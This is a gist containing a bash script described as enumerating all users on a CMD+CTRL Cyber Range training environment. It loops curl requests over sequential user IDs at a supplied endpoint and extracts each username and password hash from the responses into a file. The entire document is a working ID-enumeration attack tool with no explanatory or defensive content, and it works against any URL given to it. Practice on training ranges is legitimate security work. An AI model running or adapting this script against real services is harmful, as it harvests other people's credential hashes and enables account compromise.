Bash script to enumerate all users on a CMD+CTRL Cyber Range

gistfile1.txt

#!/bin/bash
set -e

# Endpoint URL
#endpoint=""

final_expected_response='{"profile":{"error":"invalid user id"}}'

# Default values
ids_to_enumerate=1
sleep_value=0

output_hashfile="__hashes.txt"
rm -f "./$output_hashfile"

# HELP
if [ "$#" -lt 1 ]; then
    echo "Usage: $0 --url <endpoint> [-ids <ids_to_enumerate>] [-sleep <sleep_value>]"
    echo "Usage: $0 --url <endpoint> [-i <ids_to_enumerate>] [-s <sleep_value>]"
    exit 1
fi

# Parse command-line arguments
while [[ "$#" -gt 0 ]]; do
    case $1 in
        -u|--url) endpoint="$2"; shift ;;
        -i|--ids) ids_to_enumerate="$2"; shift ;;
        -s|--sleep) sleep_value="$2"; shift ;;
        *) echo "Unknown parameter passed: $1"; exit 1 ;;
    esac
    shift
done


id=235861
end_id=$((id + ids_to_enumerate))

echo "Limit set to enumerate up to $ids_to_enumerate."
echo "Sleep value set to $sleep_value second(s)."

responses=()

while true; do

    echo "Calling $endpoint?id=$id..."
    
    response=$(curl -s -X GET "${endpoint}?id=${id}")
    responses+=("$response")
    
    # Check if the response matches the expected JSON
    if [ "$response" = "$final_expected_response" ]; then
        echo "Expected JSON response received. Exiting loop."
        break
    fi
    
    # Check if maximum attempts are reached
    if [ $id -ge $end_id ]; then
        echo "Maximum attempts reached. Exiting loop."
        break
    fi
    
    ((id++))
    
    sleep "$sleep_value"
    
done


# Do things or print them out real time.
echo "Responses:"
for resp in "${responses[@]}"; do
    echo "$resp"
    password_hash=$(echo "$resp" | jq -r '.profile.password_hash')
    username=$(echo "$resp" | jq -r '.profile.username')
    echo "$username has '$password_hash'"
    echo "$password_hash" >> output_hashfile.txt
done


echo "Total ids enumerated: ${#responses[@]}"